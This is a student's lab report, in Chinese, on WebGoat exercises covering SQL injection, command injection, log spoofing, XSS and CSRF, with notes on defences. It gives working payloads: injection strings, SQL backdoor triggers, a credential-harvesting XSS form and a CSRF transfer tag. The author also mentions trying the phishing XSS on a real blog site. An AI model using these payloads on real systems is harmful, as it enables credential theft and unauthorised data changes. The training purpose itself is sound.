2017-2018-2 20155228 《網絡對抗技術》 實驗九:Web安全基礎
1. 實踐内容
1.1 标了解常用網絡攻擊技術的基本原理
1.2 在Webgoat實驗環境下實踐相關實驗
2. 基礎問題回答
2.1 SQL注入攻擊原理,如何防禦
攻擊原理
SQL注入攻擊通過建構特殊的輸入作為參數傳入Web應用程式,這些輸入大都是SQL文法裡的一些組合,通過執行SQL語句進而執行攻擊者所要的操作,緻使非法資料侵入系統。
防禦辦法
- 使用參數化的過濾性語句
将使用者的輸入必須進行過濾去掉特殊字元,或者使用參數化的語句從使用者輸入提取參數放到SQL語句中而不是直接把使用者輸入放到SQL語句中
- 輸入驗證
檢查使用者輸入的合法性,确信輸入的内容隻包含合法的資料,比如本次實驗中數字SQL注入的防禦辦法就是禁止輸入字元串
- 錯誤消息處理
避免出現一些詳細的錯誤消息被攻擊者利用
- 加密處理
将資料進行加密處理使其不具有特殊的意義
2.2 XSS攻擊的原理,如何防禦
XSS是一種經常出現在web應用中的計算機安全漏洞,它允許惡意web使用者将代碼植入到提供給其它使用者使用的頁面中。比如這些代碼包括HTML代碼和用戶端腳本。
防禦措施
- 對所有使用者送出内容進行可靠的輸入驗證,包括對URL、查詢關鍵字、HTTP頭、POST資料等,僅接受指定長度範圍内、采用适當格式、采用所預期的字元的内容送出,對其他的一律過濾。
- 實作Session标記(session tokens)、CAPTCHA系統或者HTTP引用頭檢查,以防功能被第三方網站所執行。
- 确認接收的的内容被妥善的規範化,僅包含最小的、安全的Tag(沒有javascript),去掉任何對遠端内容的引用(尤其是樣式表和javascript),使用HTTP only的cookie。
2.3 CSRF攻擊原理,如何防禦
CSRF是一種依賴web浏覽器的、被混淆過的代理人攻擊(deputy attack)。CSRF通過僞裝來自受信任使用者的請求來利用受信任的網站。與XSS攻擊相比,CSRF攻擊往往不大流行(是以對其進行防範的資源也相當稀少)和難以防範,是以被認為比XSS更具危險性。
- 将持久化的授權方法(例如cookie或者HTTP授權)切換為瞬時的授權方法(在每個form中提供隐藏field。
- 在form中包含秘密資訊、使用者指定的代号作為cookie之外的驗證。
3. 實踐總結與體會
這次實驗體驗了三種攻擊方式。對于SQL注入來說,一般的處理思路是,首先加入符号使得上一條語句完整,其次是加入惡意代碼實作入侵目的,最後是加入注釋符号注釋掉後面不完整的代碼。防禦的辦法主要就是對使用者的輸入進行檢查,限制長度,去掉非法字元等等;XSS給我的感覺就是用來釣魚,但是好像直接作為網頁的一部分列印出來也太蠢了,我也是試過對部落格園試一下XSS攻擊的,想要設定打開這篇部落格時彈出警告框提示登入資訊失效要求重新輸入資訊,但是失敗了,彈不出任何東西來,在本地跑這個代碼是沒有問題的。

登入資訊失效,請重新登入
Enter Username:
Enter Password:
4. 實踐過程記錄
4.1 實驗環境準備
啟動webgoat
java -jar webgoat-container-7.0.1-war-exec.jar
打開浏覽器,輸入下列位址
localhost:8080/WebGoat
登入webgoat
4.2 SQL注入攻擊
SQL injection attacks represent a serious threat to any database-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks, an incredible number of systems on the internet are susceptible to this form of attack.
SQL注入攻擊對任何資料庫驅動的站點都構成嚴重威脅。 攻擊背後的方法很容易學習,而造成的破壞可能包括相當多的系統妥協。盡管存在這些風險,網際網路上數量驚人的系統容易受到這種攻擊形式的影響。
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can easily be prevented.
這不僅是一個容易受到煽動的威脅,而且它也是一種威脅,隻要有一點常識和深思熟慮,就可以輕松防止。
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries, even if the threat of SQL injection has been prevented in some other manner.
對所有輸入資料進行清理,尤其是在作業系統指令,腳本和資料庫查詢中使用的資料,即使SQL注入的威脅以其他方式阻止,也是一個很好的做法。
在左側導航欄找到并點選
Injection Flows
進入SQL注入攻擊欄目
4.2.1 Numeric SQL Injection
在左側導航欄的
Injection Flows
中找到并點選
Numeric SQL Injection
進入課程
在課程标題欄下找到并點選
RestartLesson
從頭開始
General Goal(s)
The form below allows a user to view weather data. Try to inject an SQL string that results in all the weather data being displayed.
下面的表格允許使用者檢視天氣資料。嘗試注入一個導緻所有天氣資料顯示的SQL字元串。
以選擇weather station為Columbia為例
背景正常的SQL語句為
SELECT * FROM weather_data WHERE station = 101
實施SQL注入後語句為
SELECT * FROM weather_data WHERE station = 101 or 1=1
實作方案1:設定代理并截獲修改資料包
在firefox浏覽器中設定代理
firefox浏覽器右上角選項欄,
preference
->
advanced
network
connection
settings
,設定任意大于1024的端口
在BurpSuite中設定監聽
kali桌面左側導航欄内找到并打開BurpSuite,
Proxy
Options
Add
,綁定與浏覽器代理相同的端口
切換到firefox浏覽器,進入Numeric SQL Injection,選擇任意weather station,點選go
切換到BurpSuite,
Proxy->Intercept
,看到捕獲的資料包
右鍵點選資料包,選擇
send to repeater
repeater
Params
,修改station的value為101 or 1=1,點選左上角go,右側欄可以看到response
右鍵點選response,選擇在浏覽器中顯示
攻擊完成之後要将浏覽器代理關閉,并在BurpSuite設定intercept is off
實作方案2:使用firefox浏覽器直接修改代碼
developer
Toggle tools
進入Numeric SQL Injection,找到下拉選擇框,點選右鍵,選擇
inspect elements
修改101為101 or 1=1
選擇weather station為Columbia,點選go
攻擊成功
4.2.2 Command Injection
Command injection attacks represent a serious threat to any parameter-driven site. The methods behind an attack are easy to learn and the damage caused can range from considerable to complete system compromise. Despite these risks an incredible number of systems on the internet are susceptible to this form of attack.
指令注入攻擊對任何參數驅動的站點都構成嚴重威脅。 攻擊背後的方法很容易學習,而造成的破壞可能包括相當多的系統妥協。 盡管存在這些風險,但網際網路上數量驚人的系統易受這種攻擊形式的影響。
Not only is it a threat easily instigated, it is also a threat that, with a little common-sense and forethought, can be almost totally prevented. This lesson will show the student several examples of parameter injection.
清理所有輸入資料,特别是用于作業系統指令,腳本和資料庫查詢的資料總是一個很好的做法。
It is always good practice to sanitize all input data, especially data that will used in OS command, scripts, and database queries.
這不僅是一個容易引發威脅的威脅,它也是一種威脅,隻要有一點常識和深思熟慮,幾乎可以完全防止。 本課将向學生展示幾個參數注入的例子。
Try to inject a command to the operating system.
嘗試向作業系統注入指令。
For this lesson, your goal is to understand Basic Authentication and answer the questions below.
在本課中,您的目标是了解基本身份驗證并回答以下問題。
正常的語句為
'[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"]'
注入指令的語句為
'[/bin/sh, -c, cat "/root/.extract/webapps/WebGoat/plugin_extracted/plugin/CommandInjection/resources/AccessControlMatrix.html"&&ifconfig""]'
實作方案
在代碼中添加"&&ifconfig"即可
4.2.3 Log Spoofing
- The grey area below represents what is going to be logged in the web server's log file.
- 下面的灰色區域表示将在Web伺服器的日志檔案中記錄的内容。
- Your goal is to make it like a username "admin" has succeeded into logging in.
- 您的目标是讓它像使用者名“admin”登入成功。
- Elevate your attack by adding a script to the log file.
- 通過向日志檔案添加腳本來提升攻擊。
攻擊原理和實作方案
正常情況下在使用者名欄輸入
webgoat
和在密碼欄輸入任意密碼對應的日志記錄為
Login failed for username: webgoat
攻擊時在使用者名欄輸入
webgoat%0d%0aLogin Succeeded for username: admin
Login failed for username: webgoat
Login Succeeded for username: admin
4.2.4 LAB: SQL Injection:Stage 1
Use String SQL Injection to bypass authentication. Use SQL injection to log in as the boss ('Neville') without using the correct password. Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).
使用字元串SQL注入繞過驗證。 使用SQL注入作為老闆('Neville')登入而不使用正确的密碼。驗證Neville的個人資料可以被檢視,并且所有功能都可用(包括搜尋,建立和删除)。
無注入SQL語句
SELECT * FROM employee WHERE userid = '112' and password = 'webgoat'
有注入SQL語句
SELECT * FROM employee WHERE userid = '112' and password = '' or 1=1 --'
修改密碼最大輸入長度為20
在密碼欄輸入' or 1=1 --
攻擊成功可以看到所有員工的資訊
4.2.5 LAB: SQL Injection:Stage 3
Execute SQL Injection to bypass authorization.
執行SQL注入以繞過授權。
As regular employee 'Larry', use SQL injection into a parameter of the View function (from the List Staff page) to view the profile of the boss ('Neville').
作為普通員工'Larry',使用SQL注入到View函數的參數(從List Staff頁面)來檢視老闆的簡介('Neville')。
101
101 or 1=1 order by salary desc --
使用和stage 1中相同的辦法以larry的身份登入
修改代碼為101 or 1=1 --
攻擊失敗,從傳回的結果來看,隻列印一個人的結果,雖然在查詢時是查到了所有人的結果,但是隻能列印一個人的結果
假設并不知道Neville的id,修改代碼為
101 or 1=1 order by salary desc --
,其實從stage 1可以知道Neville的id是112,修改代碼為
112 or 1=1 --
也可以
4.2.6 String SQL Injection
The form below allows a user to view their credit card numbers. Try to inject an SQL string that results in all the credit card numbers being displayed. Try the user name of 'Smith'.
下面的表格允許使用者檢視他們的信用卡号碼。 嘗試注入一個SQL字元串,以顯示所有信用卡号碼。 嘗試使用'Smith'的使用者名。
SELECT * FROM user_data WHERE last_name = 'Smith'
SELECT * FROM user_data WHERE last_name = 'Smith' or '1'='1'
修改代碼為Smith ' or '1'='1
4.2.7 Database Backdoors:Stage 1
Use String SQL Injection to execute more than one SQL Statement. The first stage of this lesson is to teach you how to use a vulnerable field to create two SQL statements. The first is the system's while the second is totally yours. Your account ID is 101. This page allows you to see your password, ssn and salary. Try to inject another update to update salary to something higher
階段1:使用字元串SQL注入來執行多個SQL語句。 本課的第一階段是教您如何使用易受攻擊的字段建立兩條SQL語句。 第一個是系統,第二個完全是你的。 您的帳戶ID為101.此頁面允許您檢視密碼,ssn和工資。 嘗試注入另一個更新來更新薪水
正常情況下輸入101傳回結果為
輸入
101; update employee set password=20155228
傳回結果為
4.2.8 Database Backdoors:Stage 2
Use String SQL Injection to inject a backdoor. The second stage of this lesson is to teach you how to use a vulneable fields to inject the DB work or the backdoor. Now try to use the same technique to inject a trigger that would act as SQL backdoor, the syntax of a trigger is:
階段2:使用字元串SQL注入來注入後門。 本課的第二階段是教你如何使用一個弱點字段來注入資料庫工作或後門。 現在嘗試使用相同的技術來注入一個充當SQL後門的觸發器,觸發器的文法是:
CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid
Note that nothing will actually be executed because the current underlying DB doesn't support triggers.
請注意,由于目前底層資料庫不支援觸發器,是以不會執行任何操作。
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='[email protected]'WHERE userid = NEW.userid
4.3 Cross-Site Scripting (XSS)
4.3.1 Phishing with XSS
This lesson is an example of how a website might support a phishing attack if there is a known XSS attack on the page
如果網頁上存在已知的XSS攻擊,本課程将舉例說明網站如何支援網絡釣魚攻擊
Using XSS and HTML insertion, your goal is to:
使用XSS和HTML插入,您的目标是:
- Insert html to that requests credentials
- 将html插入到請求證書中
- Add javascript to actually collect the credentials
- 添加JavaScript實際收集憑據
- Post the credentials to http://localhost:8080/WebGoat/catcher?PROPERTY=yes...
- 将證書釋出到http:// localhost:8080 / WebGoat / catcher?PROPERTY = yes ...
to pass this lesson, the credentials must be posted to the catcher servlet.
要通過本課,必須将憑證釋出到捕獲器servlet。
在搜尋欄輸入以下代碼,點選送出
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
在搜尋結果看到要求輸入賬号和密碼
點選login,攻擊成功
4.3.2 Stored XSS Attacks
It is always a good practice to scrub all input, especially those inputs that will later be used as parameters to OS commands, scripts, and database queries. It is particularly important for content that will be permanently stored somewhere in the application. Users should not be able to create message content that could cause another user to load an undesireable page or undesireable content when the user's message is retrieved.
清理所有輸入,尤其是稍後将用作OS指令,腳本和資料庫查詢的參數的輸入總是一個好習慣。 對于永久存儲在應用程式某處的内容而言,這一點尤其重要。 使用者不應該能夠建立可能導緻其他使用者在檢索到使用者消息時加載不需要的頁面或不需要的内容的消息内容。
在标題欄輸入任意内容,在内容欄輸入以下代碼,點選送出
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
在文章清單中找到剛才送出的文章,進入文章可以看到要求輸入賬号和密碼
4.4 Cross Site Request Forgery(CSRF)
Your goal is to send an email to a newsgroup. The email contains an image whose URL is pointing to a malicious request. In this lesson the URL should point to the "attack" servlet with the lesson's "Screen" and "menu" parameters and an extra parameter "transferFunds" having an arbitrary numeric value such as 5000. You can construct the link by finding the "Screen" and "menu" values in the Parameters inset on the right. Recipients of CSRF emails that happen to be authenticated at that time will have their funds transferred. When this lesson's attack succeeds, a green checkmark appears beside the lesson name in the menu on the left.
您的目标是發送電子郵件到新聞討論區。 該電子郵件包含一個圖像,其URL指向惡意請求。 在本課中,URL應指向帶有課程“螢幕”和“菜單”參數的“攻擊”servlet,以及具有任意數值(如5000)的額外參數“transferFunds”。您可以通過查找“螢幕 “和”菜單“值在右邊的參數插入中。 當時發生認證的CSRF電子郵件的收件人将轉移其資金。 當本課的攻擊成功時,左側菜單中的課程名稱旁會出現綠色複選标記。
在标題欄輸入任意内容,在内容欄根據右側欄中資訊輸入以下代碼,點選送出
<img src="http://localhost:8080/WebGoat/attack?Screen=276&menu=900&transferFunds=500" width="1" height="1">